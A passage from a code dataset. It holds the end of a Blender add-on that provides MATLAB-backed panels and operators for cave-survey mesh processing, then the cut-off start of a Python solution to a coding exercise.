{'FINISHED'}\n \n def invoke(self, context, event):\n wm = context.window_manager\n return wm.invoke_popup(self, width=800, height=200)\n \n def draw(self, context):\n self.layout.label(\"A message has arrived\")\n row = self.layout.column(align = True)\n row.prop(self, \"type\")\n row.prop(self, \"message\")\n row.operator(\"error.ok\")\n \n#\n# The OK button in the error dialog\n#\nclass OkOperator(bpy.types.Operator):\n bl_idname = \"error.ok\"\n bl_label = \"OK\"\n def execute(self, context):\n return {'FINISHED'} \n#PANELS\n\nclass PmlsPanel(bpy.types.Panel):\n bl_idname = \"OBJECT_PT_pmls\"\n bl_label = \"MATLAB Engine\"\n bl_space_type = 'VIEW_3D'\n bl_region_type = 'TOOLS'\n bl_category = \"Pmls\"\n bl_context = \"objectmode\"\n\n def draw(self, context):\n layout = self.layout\n col = layout.column(align=True)\n col.label(text=\"Start/Connect to:\")\n names = PmlsEngine.findmatlab()\n if names:\n for n in names:\n col.operator(\"pmls.connect\", text=\"Connect to: \" + n).name = n\n else:\n col.label(text=\"Nothing to connect to. Install pmls lib or start matlab engine!\")\n# col.operator(\"pmls.start\", text=\"Start new\")\n col.separator()\n col.label(text=\"Stop/Disconnect:\")\n col.operator(\"pmls.stop\", text=\"Stop\")\n col.operator(\"pmls.disconnect\", text = \"Disconnect \" + PmlsEngine.name )\n col.operator(\"pmls.loadmat\", text=\"Load mat file\")\n\nclass PmlsMultipleObjectPanel(bpy.types.Panel):\n bl_idname = \"OBJECT_PT_pmls_multiple\"\n bl_label = \"PMLS Objects\"\n bl_space_type = 'VIEW_3D'\n bl_region_type = 'TOOLS'\n bl_category = \"Pmls\"\n bl_context = \"objectmode\"\n\n def draw(self, context):\n layout = self.layout\n col = layout.column(align=False)\n col.label(text=\"Save selected:\")\n box = col.box()\n col1 = box.column(align=False)\n col1.operator(\"pmls.savemat\", text=\"Save mat file\")\n col.separator()\n col.label(text=\"Hedgehogs:\")\n box = col.box()\n col1 = box.column(align=False)\n col1.operator(\"pmls.merge_selected_hedges_to_active\", text=\"Merge\")\n col1.operator(\"pmls.separate_turtles\", text=\"Separate\")\n col1.operator(\"pmls.cutback_at_bridges\", text=\"Cut back at bridges\")\n col.separator()\n col.label(text=\"Smooth mesh:\")\n box = col.box()\n col1 = box.column(align=False)\n opprops = col1.operator(\"pmls.smoot_by_surface_deform\", text=\"Surface deform\")\n scene = context.scene\n# opprops.hedgehog = scene.pmls_op_smooth_by_surface_deform_hdg\n# opprops.points = scene.pmls_op_smooth_by_surface_deform_pnt\n opprops.unilap = scene.pmls_op_smooth_by_surface_deform_unilap\n opprops.snaptol = scene.pmls_op_smooth_by_surface_deform_tol\n opprops.to_raycheck = scene.pmls_op_smooth_by_surface_deform_ray\n opprops.voxsiz = scene.pmls_op_smooth_by_surface_deform_vox\n# col1.prop_search(scene, \"pmls_op_smooth_by_surface_deform_hdg\", \n# scene, \"objects\", text = \"Hedgehog:\", icon='OBJECT_DATA')\n# col1.prop_search(scene, \"pmls_op_smooth_by_surface_deform_pnt\", \n# scene, \"objects\", text = \"Additional points:\", icon='OBJECT_DATA')\n col1.prop(scene, \"pmls_op_smooth_by_surface_deform_unilap\")\n col1.prop(scene, \"pmls_op_smooth_by_surface_deform_tol\")\n col1.prop(scene, \"pmls_op_smooth_by_surface_deform_ray\")\n if scene.pmls_op_smooth_by_surface_deform_ray:\n box = col1.box()\n col2 = box.column(align=False)\n col2.prop(scene, \"pmls_op_smooth_by_surface_deform_vox\")\n col.separator()\n col.label(text=\"Voxelized union:\")\n box = col.box()\n col1 = box.column(align=False)\n opprops = col1.operator(\"pmls.voxelized_union\", text=\"Union/Remesh by voxelization\")\n opprops.voxel_siz = scene.pmls_op_hedgehog_union_vox\n opprops.extend = scene.pmls_op_hedgehog_union_ext\n opprops.cuda = scene.pmls_op_hedgehog_union_cuda\n opprops.marcub = scene.pmls_op_hedgehog_union_marcub\n opprops.deform = scene.pmls_op_voxelized_union_vol\n# opprops.hedgehog = scene.pmls_op_smooth_by_surface_deform_hdg\n opprops.unilap = scene.pmls_op_voxelized_union_unilap\n opprops.premesh = scene.pmls_op_voxelized_union_pre\n col1.prop( scene, \"pmls_op_hedgehog_union_vox\" )\n col1.prop( scene, \"pmls_op_hedgehog_union_ext\" )\n col1.prop( scene, \"pmls_op_hedgehog_union_cuda\")\n col1.prop( scene, \"pmls_op_hedgehog_union_marcub\")\n col1.prop( scene, \"pmls_op_voxelized_union_vol\")\n if scene.pmls_op_voxelized_union_vol:\n box = col1.box()\n col2 = box.column(align=False)\n# col2.prop_search(scene, \"pmls_op_smooth_by_surface_deform_hdg\", \n# scene, \"objects\", text = \"Hedgehog:\", icon='OBJECT_DATA')\n col2.prop( scene, \"pmls_op_voxelized_union_unilap\" )\n col2.prop( scene, \"pmls_op_voxelized_union_pre\" )\n col.separator()\n col.label(text=\"Normal union:\")\n box = col.box()\n col1 = box.column(align=False)\n opprops = col1.operator(\"pmls.normal_union\", text=\"Union\")\n opprops.premesh = scene.pmls_op_normal_union_pre\n opprops.tetgen = scene.pmls_op_hedgehog_union_tetgen\n opprops.tetgen_a = scene.pmls_op_hedgehog_union_tetgen_a\n opprops.tetgen_q = scene.pmls_op_hedgehog_union_tetgen_q\n opprops.tetgen_d = scene.pmls_op_hedgehog_union_tetgen_d\n \n col1.prop( scene, \"pmls_op_normal_union_pre\" )\n col1.prop( scene, \"pmls_op_hedgehog_union_tetgen\" )\n if scene.pmls_op_hedgehog_union_tetgen:\n col1.prop( scene, \"pmls_op_hedgehog_union_tetgen_a\" )\n col1.prop( scene, \"pmls_op_hedgehog_union_tetgen_q\" )\n col1.prop( scene, \"pmls_op_hedgehog_union_tetgen_d\" )\n\n\n col.separator()\n# col.label(text=\"Split into two pieces:\")\n# box = col.box()\n# col1 = box.column(align=False)\n# opprops = col1.operator(\"pmls.split\", text=\"Split:\")\n# opprops.selmesh = scene.pmls_op_split_selector\n# col1.prop_search(scene, \"pmls_op_split_selector\", \n# scene, \"objects\", text = \"Selector mesh:\", icon='OBJECT_DATA')\n# \n# col.separator()\n col.label(text=\"Register as deformable mesh:\")\n box = col.box()\n col1 = box.column(align=False)\n opprops = col1.operator(\"pmls.register_as_mesh\", text=\"Resgister as mesh\")\n opprops.hedgehog = scene.pmls_op_smooth_by_surface_deform_hdg\n opprops.points = scene.pmls_op_smooth_by_surface_deform_pnt\n col1.prop_search(scene, \"pmls_op_smooth_by_surface_deform_hdg\", \n scene, \"objects\", text = \"Hedgehog:\", icon='OBJECT_DATA')\n col1.prop_search(scene, \"pmls_op_smooth_by_surface_deform_pnt\", \n scene, \"objects\", text = \"Anchor points:\", icon='OBJECT_DATA')\n \n\n# col.separator()\n# col.label(text=\"Create volumetric mesh:\")\n# box = col.box()\n# col1 = box.column(align=False)\n# col1.operator(\"pmls.create_vol_mesh\", text=\"Create\")\n \n \nclass PmlsSqlitePanel(bpy.types.Panel):\n bl_idname = \"OBJECT_PT_pmls_sqlite\"\n bl_label = \"Topodroid sqlite\"\n bl_space_type = 'VIEW_3D'\n bl_region_type = 'TOOLS'\n bl_category = \"Pmls\"\n bl_context = \"objectmode\"\n\n def draw(self, context):\n layout = self.layout\n# obj = context.active_object\n scn = context.scene\n col = layout.column(align=False)\n \n col.label(text=\"Main csv:\")\n col.operator(\"pmls.create_main_csv\", text=\"Create\")\n col.label(text=\"Survey csvs:\")\n box = col.box()\n col1 = box.column(align=False)\n col1.prop(scn, \"pmls_op_create_survey_csvs_sqlite\")\n col1.prop(scn, \"pmls_op_create_survey_csvs_csv\")\n col1.operator(\"pmls.create_survey_csvs\", text=\"Create\")\n col.separator()\n col.label(text=\"Import csv\")\n box = col.box()\n col1 = box.column(align=False)\n col1.prop(scn, \"pmls_op_import_csv_use\")\n if scn.pmls_op_import_csv_use:\n col1.prop(scn, \"pmls_op_import_csv_pol\")\n col1.prop(scn, \"pmls_op_import_csv_min\")\n col1.operator(\"pmls.import_csv\", text=\"Import\")\n \n \nclass PmlsObjectPanel(bpy.types.Panel):\n bl_space_type = 'VIEW_3D'\n bl_region_type = 'TOOLS'\n bl_category = \"Pmls\"\n bl_context = \"mesh_edit\"\n \n @classmethod\n def poll(cls, context):\n if not PmlsEngine.isr:\n return False\n obj = context.active_object\n if obj is None:\n return False\n if obj.type != 'MESH':\n return False\n if \"pmls_type\" not in obj.keys():\n return False\n return cls._poll( context )\n \n def editdisplay(self, context, col0):\n col0.label(text=\"Edit:\")\n box = col0.box()\n col = box.column(align=True)\n col.operator(\"pmls.copy\", text=\"Copy\").simple = context.scene.pmls_edit_simple\n col.operator(\"pmls.split\", text=\"Split\").simple = context.scene.pmls_edit_simple\n col.operator(\"pmls.cut\", text=\"Cut\").simple = context.scene.pmls_edit_simple\n col.operator(\"pmls.delete\", text=\"Delete\").simple = context.scene.pmls_edit_simple\n return col\n \n\nclass PmlsDeformMeshPanel(PmlsObjectPanel): \n bl_idname = \"OBJECT_PT_pmls_deform_mesh\"\n bl_label = \"Deformable mesh\"\n\n @classmethod\n def _poll(cls, context):\n return context.active_object[\"pmls_type\"] == \"deform_mesh\"\n\n def draw(self, context):\n layout = self.layout\n col0 = layout.column(align=False)\n col = self.editdisplay(context, col0)\n col.prop(context.scene, \"pmls_edit_simple\")\n \n col0.separator()\n# col = col0\n# col.label(text=\"Deform mesh:\")\n# box = col.box()\n# col1 = box.column(align=False)\n# opprops = col1.operator(\"pmls.smoot_by_surface_deform\", text=\"Surface deform\")\n# scene = context.scene\n# obj = context.active_object\n# obj = PmlsObject(obj)\n\n\n# h = obj.hedgehog()\n# opprops.hedgehog = \"\"\n# if h:\n# opprops.hedgehog = obj.hedgehog().object.name\n# h = obj.anchor()\n# opprops.points = \"\"\n# if h:\n# opprops.points = obj.anchor().object.name\n\n\n# opprops.snaptol = scene.pmls_op_smooth_by_surface_deform_tol\n# opprops.voxsiz = scene.pmls_op_smooth_by_surface_deform_vox\n# col1.prop(scene, \"pmls_op_smooth_by_surface_deform_tol\") \n# col1.prop(scene, \"pmls_op_smooth_by_surface_deform_vox\")\n# col.separator()\n col = col0\n col.label(text=\"Map points to mesh:\")\n box = col.box()\n col1 = box.column(align=False)\n col1.operator(\"pmls.map_points_to_mesh\", text=\"Select mapped\")\n \n \n\nclass PmlsHedgehogPanelBase(PmlsObjectPanel):\n \n @classmethod\n def _poll(cls, context):\n return context.active_object[\"pmls_type\"] == \"hedgehog\"\n \n def drawdisplay(self, context, col0):\n obj = context.active_object\n col0.label(text=\"Display:\")\n box = col0.box()\n col = box.column(align=True)\n# col.operator(\"pmls.recalculate_turtles\", text=\"Recalculate turtles\")\n# col.separator()\n# col.label(text=\"Stations\")\n# col.operator(\"pmls.deselect_all_stations\", text=\"Deselect all\")\n# col.operator(\"pmls.hide_selected_stations\", text=\"Hide selected\")\n# col.operator(\"pmls.hide_unselected_stations\", text=\"Hide unselected\")\n# col.operator(\"pmls.reveal_stations\", text=\"Reveal all\")\n# col.separator()\n# col.prop( obj.users_scene[0], \"pmls_disp_base\" )\n\n opprop = col.operator(\"pmls.select_outliers\", text=\"Select outliers\")\n opprop.internal = obj.users_scene[0].pmls_op_select_outliers_internal\n opprop.dihedral = obj.users_scene[0].pmls_op_select_outliers_dihedral\n col.prop( obj.users_scene[0], \"pmls_op_select_outliers_internal\" )\n col.prop( obj.users_scene[0], \"pmls_op_select_outliers_dihedral\" )\n \n col.prop( obj.users_scene[0], \"pmls_disp_pnts\" )\n col.prop( obj.users_scene[0], \"pmls_disp_zeroshots\" )\n col.prop( obj.users_scene[0], \"pmls_disp_edges\" )\n return col\n\n def draw(self, context):\n layout = self.layout\n col0 = layout.column(align=False)\n self.drawdisplay(context, col0)\n col0.separator()\n self.editdisplay(context, col0)\n col0.separator()\n col0.label(text=\"Extend by visibility:\")\n box = col0.box()\n col = box.column(align=True)\n col.operator(\"pmls.extend_hedgehog\", text=\"Extend\")\n \n\nclass PmlsHedgehogPanel(PmlsHedgehogPanelBase):\n bl_idname = \"OBJECT_PT_pmls_hedgehog\"\n bl_label = \"Hedgehog\"\n \n @classmethod\n def _poll(cls, context):\n return context.active_object[\"pmls_type\"] == \"hedgehog\"\n \n# def drawdisplay(self, context, col0):\n# obj = context.active_object\n# col0.label(text=\"Display:\")\n# box = col0.box()\n# col = box.column(align=True)\n# col.operator(\"pmls.recalculate_turtles\")\n# col.prop( obj.users_scene[0], \"pmls_disp_base\" )\n# col.prop( obj.users_scene[0], \"pmls_disp_pnts\" )\n# col.prop( obj.users_scene[0], \"pmls_disp_edges\" )\n# return col\n\n# def draw(self, context):\n# layout = self.layout\n# col0 = layout.column(align=False)\n# self.drawdisplay(context, col0) \n\nclass PmlsTurtlePanel(PmlsHedgehogPanelBase):\n bl_idname = \"OBJECT_PT_pmls_turtle\"\n bl_label = \"Turtle\"\n \n @classmethod\n def _poll(cls, context):\n return context.active_object[\"pmls_type\"] == \"turtle\"\n \n def drawdisplay(self, context, col0):\n col = super().drawdisplay(context, col0)\n obj = context.active_object\n col.prop( obj.users_scene[0], \"pmls_disp_faces\" )\n col.separator()\n col.operator(\"pmls.clear_turtles\", text=\"Clear turtle\")\n return col\n \n \n\n \nclass PmlsExtendedHedgehogPanelBase(PmlsHedgehogPanelBase):\n def drawdisplay(self, context, col0):\n col = super().drawdisplay(context, col0)\n obj = context.active_object\n col.prop( obj.users_scene[0], \"pmls_disp_extedges\" )\n return col\n\n\n def draw(self, context):\n layout = self.layout\n col0 = layout.column(align=False)\n self.drawdisplay(context, col0) \n obj = context.active_object\n col0.separator()\n self.editdisplay(context, col0)\n col0.separator()\n\n col0.label(text=\"Downdate to hedgehog:\")\n box = col0.box()\n col = box.column(align=True)\n col.operator(\"pmls.downdate_ehedgehog\", text=\"Downdate\").todel = obj.users_scene[0].pmls_op_ehedgehog_downdate\n col.prop( obj.users_scene[0], \"pmls_op_ehedgehog_downdate\" )\n\n col0.label(text=\"Union by voxelization:\")\n box = col0.box()\n col = box.column(align=True)\n opprop = col.operator(\"pmls.hedgehog_union\", text=\"Create\")\n opprop.voxel_siz = obj.users_scene[0].pmls_op_hedgehog_union_vox\n opprop.extend = obj.users_scene[0].pmls_op_hedgehog_union_ext\n opprop.cuda = obj.users_scene[0].pmls_op_hedgehog_union_cuda\n opprop.marcub = obj.users_scene[0].pmls_op_hedgehog_union_marcub\n opprop.shortenrays = obj.users_scene[0].pmls_op_hedgehog_union_shorten\n \n col.prop( obj.users_scene[0], \"pmls_op_hedgehog_union_vox\" )\n col.prop( obj.users_scene[0], \"pmls_op_hedgehog_union_ext\" )\n col.prop( obj.users_scene[0], \"pmls_op_hedgehog_union_cuda\")\n col.prop( obj.users_scene[0], \"pmls_op_hedgehog_union_marcub\")\n col.prop( obj.users_scene[0], \"pmls_op_hedgehog_union_shorten\")\n\n col0.label(text=\"Union:\")\n box = col0.box()\n col = box.column(align=True)\n opprop = col.operator(\"pmls.hedgehog_union_alec\", text=\"Create\")\n opprop.tetgen = obj.users_scene[0].pmls_op_hedgehog_union_tetgen\n opprop.tetgen_a = obj.users_scene[0].pmls_op_hedgehog_union_tetgen_a\n opprop.tetgen_q = obj.users_scene[0].pmls_op_hedgehog_union_tetgen_q\n opprop.tetgen_d = obj.users_scene[0].pmls_op_hedgehog_union_tetgen_d\n col.prop( obj.users_scene[0], \"pmls_op_hedgehog_union_tetgen\" )\n if obj.users_scene[0].pmls_op_hedgehog_union_tetgen:\n col.prop( obj.users_scene[0], \"pmls_op_hedgehog_union_tetgen_a\" )\n col.prop( obj.users_scene[0], \"pmls_op_hedgehog_union_tetgen_q\" )\n col.prop( obj.users_scene[0], \"pmls_op_hedgehog_union_tetgen_d\" )\n\nclass PmlsExtendedHedgehogPanel(PmlsExtendedHedgehogPanelBase):\n bl_idname = \"OBJECT_PT_pmls__extended_hedgehog\"\n bl_label = \"Extended hedgehog\"\n\n @classmethod\n def _poll(cls, context):\n return context.active_object[\"pmls_type\"] == \"ehedgehog\"\n\nclass PmlsExtendedTurtlePanel(PmlsExtendedHedgehogPanelBase):\n bl_idname = \"OBJECT_PT_pmls__extended_turtle\"\n bl_label = \"Extended turtle\"\n\n def drawdisplay(self, context, col0):\n col = super().drawdisplay(context, col0)\n obj = context.active_object\n col.prop( obj.users_scene[0], \"pmls_disp_faces\" )\n col.separator()\n col.operator(\"pmls.clear_turtles\", text=\"Clear turtle\")\n return col\n\n @classmethod\n def _poll(cls, context):\n return context.active_object[\"pmls_type\"] == \"eturtle\"\n\ndef get_pmls_disp_base(self):\n obj = bpy.context.active_object\n return obj[\"disp_base\"]\n\n\ndef set_pmls_disp_base(self, value):\n obj = bpy.context.active_object\n if obj[\"disp_base\"] != value:\n obj[\"disp_base\"] = value\n bpy.ops.pmls.updatedisplay()\n \ndef get_pmls_disp_pnts(self):\n obj = bpy.context.active_object\n return obj[\"disp_pnts\"]\n\n\ndef set_pmls_disp_pnts(self, value):\n obj = bpy.context.active_object\n if obj[\"disp_pnts\"] != value:\n obj[\"disp_pnts\"] = value\n bpy.ops.pmls.updatedisplay()\n \ndef get_pmls_disp_zeroshots(self):\n obj = bpy.context.active_object\n return obj[\"disp_zeroshots\"]\n\n\ndef set_pmls_disp_zeroshots(self, value):\n obj = bpy.context.active_object\n if obj[\"disp_zeroshots\"] != value:\n obj[\"disp_zeroshots\"] = value\n bpy.ops.pmls.updatedisplay()\n \ndef get_pmls_disp_edges(self):\n obj = bpy.context.active_object\n return obj[\"disp_edges\"]\n\n\ndef set_pmls_disp_edges(self, value):\n obj = bpy.context.active_object\n if obj[\"disp_edges\"] != value:\n obj[\"disp_edges\"] = value\n bpy.ops.pmls.updatedisplay()\n\ndef get_pmls_disp_faces(self):\n obj = bpy.context.active_object\n return obj[\"disp_faces\"]\n\n\ndef set_pmls_disp_faces(self, value):\n obj = bpy.context.active_object\n if obj[\"disp_faces\"] != value:\n obj[\"disp_faces\"] = value\n bpy.ops.pmls.updatedisplay()\n \ndef get_pmls_disp_extedges(self):\n obj = bpy.context.active_object\n return obj[\"disp_extedges\"]\n\n\ndef set_pmls_disp_extedges(self, value):\n obj = bpy.context.active_object\n if obj[\"disp_extedges\"] != value:\n obj[\"disp_extedges\"] = value\n bpy.ops.pmls.updatedisplay()\n \n\n\n\n# Register and add to the file selector\ndef register():\n bpy.types.Scene.pmls_disp_base = bpy.props.BoolProperty(name=\"Display stations\",\n get=get_pmls_disp_base, set=set_pmls_disp_base)\n\n bpy.types.Scene.pmls_disp_pnts = bpy.props.BoolProperty(name=\"Display shots\",\n get=get_pmls_disp_pnts, set=set_pmls_disp_pnts)\n\n bpy.types.Scene.pmls_disp_zeroshots = bpy.props.BoolProperty(name=\"Display zeroshots\",\n get=get_pmls_disp_zeroshots, set=set_pmls_disp_zeroshots)\n\n bpy.types.Scene.pmls_disp_edges = bpy.props.BoolProperty(name=\"Display edges\",\n get=get_pmls_disp_edges, set=set_pmls_disp_edges)\n\n bpy.types.Scene.pmls_disp_extedges = bpy.props.BoolProperty(name=\"Display extended edges\",\n get=get_pmls_disp_extedges, set=set_pmls_disp_extedges)\n\n bpy.types.Scene.pmls_disp_faces = bpy.props.BoolProperty(name=\"Display faces\",\n get=get_pmls_disp_faces, set=set_pmls_disp_faces)\n \n bpy.types.Scene.pmls_op_ehedgehog_downdate = bpy.props.BoolProperty(name=\"Delete extended edges\", default=True)\n\n bpy.types.Scene.pmls_op_create_survey_csvs_csv = bpy.props.StringProperty(name=\"Main csv:\", subtype=\"FILE_PATH\")\n bpy.types.Scene.pmls_op_create_survey_csvs_sqlite = bpy.props.StringProperty(name=\"Sqlite:\", subtype=\"FILE_PATH\")\n\n bpy.types.Scene.pmls_op_import_csv_use = bpy.props.BoolProperty(name=\"Use poligon file\", default=False)\n bpy.types.Scene.pmls_op_import_csv_pol = bpy.props.StringProperty(name=\"Poligon file:\", subtype=\"FILE_PATH\")\n bpy.types.Scene.pmls_op_import_csv_min = bpy.props.IntProperty(name=\"Min splay/station:\", default=20, soft_min=0)\n \n bpy.types.Scene.pmls_op_hedgehog_union_vox = bpy.props.FloatProperty(\n name=\"Voxel size (cm):\", default=3.0, step=5, min=0.000001, soft_min=1.0, soft_max=1000.0, subtype='DISTANCE')\n bpy.types.Scene.pmls_op_hedgehog_union_shorten = bpy.props.FloatProperty(\n name=\"Shorten rays (voxel):\", default=0.7, step=1, min=0.0, soft_min=0.0, soft_max=10.0, subtype='DISTANCE')\n bpy.types.Scene.pmls_op_hedgehog_union_ext = bpy.props.FloatProperty(\n name=\"Thin volume (voxel):\", default=1.0, step=5, min=-15.0, soft_min=-10.0, soft_max=10.0, subtype='DISTANCE')\n bpy.types.Scene.pmls_op_hedgehog_union_cuda = bpy.props.BoolProperty(name=\"Voxelize on GPU\", description=\"Voxelization will be done on the graphics card. Requires CUDA 7.5\", default=True)\n bpy.types.Scene.pmls_op_hedgehog_union_marcub = bpy.props.BoolProperty(name=\"Use marching cubes\", description=\"If true after voxelization the surface will be reconstructed with marching cubes algorithm, else each voxel side will be kept.\", default=True)\n\n bpy.types.Scene.pmls_op_hedgehog_union_tetgen = bpy.props.BoolProperty(name=\"Remesh before union\", description=\"Remesh increases the number of triangles, but the mesh will be nicer.\", default=True)\n bpy.types.Scene.pmls_op_hedgehog_union_tetgen_a = bpy.props.FloatProperty(\n name=\"Max volume of tetrahedra (m3)\", description=\"Tetgen command line parameter -a.\",\n default=0.5, step=0.001, min=0.0000001, soft_min=0.0000001, soft_max=100.0, subtype='UNSIGNED', unit='VOLUME')\n bpy.types.Scene.pmls_op_hedgehog_union_tetgen_q = bpy.props.FloatProperty(\n name=\"Max radius-edge ratio\", description=\"First value of tetgen command line parameter -q.\",\n default=2.0, step=0.001, min=1.0, soft_min=1.0, soft_max=100.0, subtype='UNSIGNED')\n bpy.types.Scene.pmls_op_hedgehog_union_tetgen_d = bpy.props.FloatProperty(\n name=\"Min dihedral angle (deg)\", description=\"Second value of tetgen command line parameter -q.\",\n default=0.0, step=5.0, min=0.0, soft_min=0.0, soft_max=70, subtype='UNSIGNED')\n bpy.types.Scene.pmls_op_select_outliers_internal = bpy.props.FloatProperty(\n name=\"Min internal angle (deg)\", description=\"Vertices without larger iternal angle in connected triangles will be selected.\",\n default=5.0, step=25, min=0.0, soft_min=0.0, soft_max=30, subtype='UNSIGNED')\n bpy.types.Scene.pmls_op_select_outliers_dihedral = bpy.props.FloatProperty(\n name=\"Min dihedral angle (deg)\", description=\"Vertices with smaller dihedral angle on connected edges will be selected.\",\n default=5.0, step=25, min=0.0, soft_min=0.0, soft_max=45, subtype='UNSIGNED')\n\n\n bpy.types.Scene.pmls_op_smooth_by_surface_deform_hdg = bpy.props.StringProperty()\n bpy.types.Scene.pmls_op_smooth_by_surface_deform_pnt = bpy.props.StringProperty()\n\n bpy.types.Scene.pmls_op_smooth_by_surface_deform_unilap = bpy.props.BoolProperty(name=\"Uniform laplacian\", description=\"If true uniform weights will be used instead of edge lenghts. Less conservative deformation.\", default=True)\n bpy.types.Scene.pmls_op_smooth_by_surface_deform_tol = bpy.props.FloatProperty(\n name=\"Snap tolerance (cm):\", default=5.0, step=5, min=0.1, soft_min=0.1, soft_max=10000.0, subtype='DISTANCE')\n bpy.types.Scene.pmls_op_smooth_by_surface_deform_vox = bpy.props.FloatProperty(\n name=\"Voxel size for ray check (cm):\", default=7.0, step=5, min=0.000001, soft_min=1.0, soft_max=1000.0, subtype='DISTANCE')\n \n bpy.types.Scene.pmls_op_voxelized_union_vol = bpy.props.BoolProperty(name=\"Volumetric deform\", default=True)\n bpy.types.Scene.pmls_op_voxelized_union_unilap = bpy.props.BoolProperty(name=\"Uniform laplacian\", description=\"If true uniform weights will be used instead of edge lenghts. Less conservative deformation.\", default=True)\n bpy.types.Scene.pmls_op_voxelized_union_pre = bpy.props.BoolProperty(name=\"Remesh before deform\", description=\"If true remesh done before and after the deform else only after\", default=True)\n\n bpy.types.Scene.pmls_op_normal_union_pre = bpy.props.BoolProperty(name=\"Meshfix before union\", description=\"If true meshfix is done for input to guarantee success\", default=True)\n\n bpy.types.Scene.pmls_op_smooth_by_surface_deform_ray = bpy.props.BoolProperty(name=\"Ray check\", description=\"If true constraint 2 will be guaranteed\", default=True)\n\n bpy.types.Scene.pmls_op_split_selector = bpy.props.StringProperty()\n\n bpy.types.Scene.pmls_edit_simple = bpy.props.BoolProperty(name=\"Simple mode\", description=\"Faster, but less robus\", default=True)\n \n bpy.utils.register_class(PmlsStart)\n bpy.utils.register_class(PmlsStop)\n bpy.utils.register_class(PmlsConnect)\n bpy.utils.register_class(PmlsDisconnect)\n bpy.utils.register_class(PmlsLoadMat)\n bpy.utils.register_class(PmlsSaveMat)\n bpy.utils.register_class(PmlsUpdateDisplay)\n bpy.utils.register_class(PmlsDowdateEhedgehog)\n bpy.utils.register_class(PmlsRecalculateTurtles)\n bpy.utils.register_class(PmlsHideSelectedStations)\n bpy.utils.register_class(PmlsHideUnselectedStations)\n bpy.utils.register_class(PmlsRevealStations)\n bpy.utils.register_class(PmlsClearTurtles)\n bpy.utils.register_class(PmlsDeselectAllStations)\n bpy.utils.register_class(PmlsExtendHedgehog)\n bpy.utils.register_class(PmlsMergeHedgehogs)\n bpy.utils.register_class(PmlsCutBackAtBridges)\n bpy.utils.register_class(PmlsCreateMainCsv)\n bpy.utils.register_class(PmlsCreateSurveyCsvs)\n bpy.utils.register_class(PmlsImportCsv)\n bpy.utils.register_class(PmlsHedgehogUnion)\n bpy.utils.register_class(PmlsHedgehogUnionAlec)\n bpy.utils.register_class(PmlsSurfaceDeform)\n bpy.utils.register_class(PmlsSeparateTurtles)\n bpy.utils.register_class(PmlsVoxelizedUnion)\n bpy.utils.register_class(PmlsCreateVolMesh)\n bpy.utils.register_class(PmlsNormalUnion)\n bpy.utils.register_class(PmlsRegisterAsMesh)\n bpy.utils.register_class(PmlsSplit)\n bpy.utils.register_class(PmlsCopy)\n bpy.utils.register_class(PmlsCut)\n bpy.utils.register_class(PmlsDelete)\n bpy.utils.register_class(PmlsFill)\n bpy.utils.register_class(PmlsMapPointsToMesh)\n bpy.utils.register_class(PmlsSelectOutliers)\n\n bpy.utils.register_class(MessageOperator)\n bpy.utils.register_class(OkOperator)\n\n\n bpy.utils.register_class(PmlsPanel)\n bpy.utils.register_class(PmlsHedgehogPanel)\n bpy.utils.register_class(PmlsExtendedHedgehogPanel)\n bpy.utils.register_class(PmlsTurtlePanel)\n bpy.utils.register_class(PmlsExtendedTurtlePanel)\n bpy.utils.register_class(PmlsMultipleObjectPanel)\n bpy.utils.register_class(PmlsSqlitePanel)\n bpy.utils.register_class(PmlsDeformMeshPanel)\n \n\ndef unregister():\n bpy.utils.unregister_class(PmlsStart)\n bpy.utils.unregister_class(PmlsStop)\n bpy.utils.unregister_class(PmlsConnect)\n bpy.utils.unregister_class(PmlsDisconnect)\n bpy.utils.unregister_class(PmlsLoadMat)\n bpy.utils.unregister_class(PmlsSaveMat)\n bpy.utils.unregister_class(PmlsUpdateDisplay)\n bpy.utils.unregister_class(PmlsDowdateEhedgehog)\n bpy.utils.unregister_class(PmlsRecalculateTurtles)\n bpy.utils.unregister_class(PmlsHideSelectedStations)\n bpy.utils.unregister_class(PmlsHideUnselectedStations)\n bpy.utils.unregister_class(PmlsRevealStations)\n bpy.utils.unregister_class(PmlsClearTurtles)\n bpy.utils.unregister_class(PmlsDeselectAllStations)\n bpy.utils.unregister_class(PmlsExtendHedgehog)\n bpy.utils.unregister_class(PmlsMergeHedgehogs)\n bpy.utils.unregister_class(PmlsCutBackAtBridges)\n bpy.utils.unregister_class(PmlsCreateMainCsv)\n bpy.utils.unregister_class(PmlsCreateSurveyCsvs)\n bpy.utils.unregister_class(PmlsImportCsv)\n bpy.utils.unregister_class(PmlsHedgehogUnionAlec)\n bpy.utils.unregister_class(PmlsHedgehogUnion)\n bpy.utils.unregister_class(PmlsSurfaceDeform)\n bpy.utils.unregister_class(PmlsSeparateTurtles)\n bpy.utils.unregister_class(PmlsVoxelizedUnion)\n bpy.utils.unregister_class(PmlsCreateVolMesh)\n bpy.utils.unregister_class(PmlsNormalUnion)\n bpy.utils.unregister_class(PmlsRegisterAsMesh)\n bpy.utils.unregister_class(PmlsSplit)\n bpy.utils.unregister_class(PmlsCopy)\n bpy.utils.unregister_class(PmlsCut)\n bpy.utils.unregister_class(PmlsDelete)\n bpy.utils.unregister_class(PmlsFill)\n bpy.utils.unregister_class(PmlsMapPointsToMesh)\n bpy.utils.unregister_class(PmlsSelectOutliers)\n\n \n bpy.utils.unregister_class(MessageOperator)\n bpy.utils.unregister_class(OkOperator)\n \n \n bpy.utils.unregister_class(PmlsPanel)\n bpy.utils.unregister_class(PmlsHedgehogPanel)\n bpy.utils.unregister_class(PmlsExtendedHedgehogPanel)\n bpy.utils.unregister_class(PmlsTurtlePanel)\n bpy.utils.unregister_class(PmlsExtendedTurtlePanel)\n bpy.utils.unregister_class(PmlsMultipleObjectPanel)\n bpy.utils.unregister_class(PmlsSqlitePanel)\n bpy.utils.unregister_class(PmlsDeformMeshPanel)\n \n\nif __name__ == \"__main__\":\n register()\n \n","repo_name":"poormanslaserscanner/pmls4matlab","sub_path":"blender_addon/pmls.py","file_name":"pmls.py","file_ext":"py","file_size_in_byte":119366,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"48"} +{"seq_id":"7190476008","text":"# 42586. 기능 개발\n\ndef solution(progresses, speeds):\n ans, temp = [], []\n \n for i in range(len(progresses)): # 작업 일수 계산\n x = 100 - progresses[i]\n \n if (x//speeds[i]) == (x/speeds[i]): # 나누어 떨어지는 경우\n temp.append(x // speeds[i])\n else: # 나누어 떨어지지 않는 경우\n temp.append((x//speeds[i]) + 1)\n \n idx = 0 # 현재의 idx 기록\n for i in 